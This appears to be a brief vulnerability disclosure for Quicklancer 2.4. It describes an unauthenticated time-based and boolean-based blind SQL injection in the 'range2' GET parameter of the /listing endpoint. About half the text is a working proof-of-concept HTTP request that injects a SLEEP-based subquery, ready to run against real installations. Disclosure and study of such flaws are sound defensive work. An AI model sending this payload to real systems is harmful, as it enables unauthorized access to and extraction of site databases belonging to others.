A SQL injection vulnerability exists in the Quicklancer 2.4, GET parameter 'range2', that has time-based blind SQL injection and a boolean-based blind SQL injection, which can be exploited remotely by unauthenticated attacker to execute arbitrary SQL queries in the database.
GET /listing?cat=6&filter=1&job-type=1&keywords=Mr.&location=1&order=desc&placeid=US&placetype=country&range1=1&range2=1)%20AND%20(SELECT%201864%20FROM%20(SELECT(SLEEP(6)))gOGh)%20AND%20(6900=6900&salary-type=1&sort=id&subcat HTTP/1.1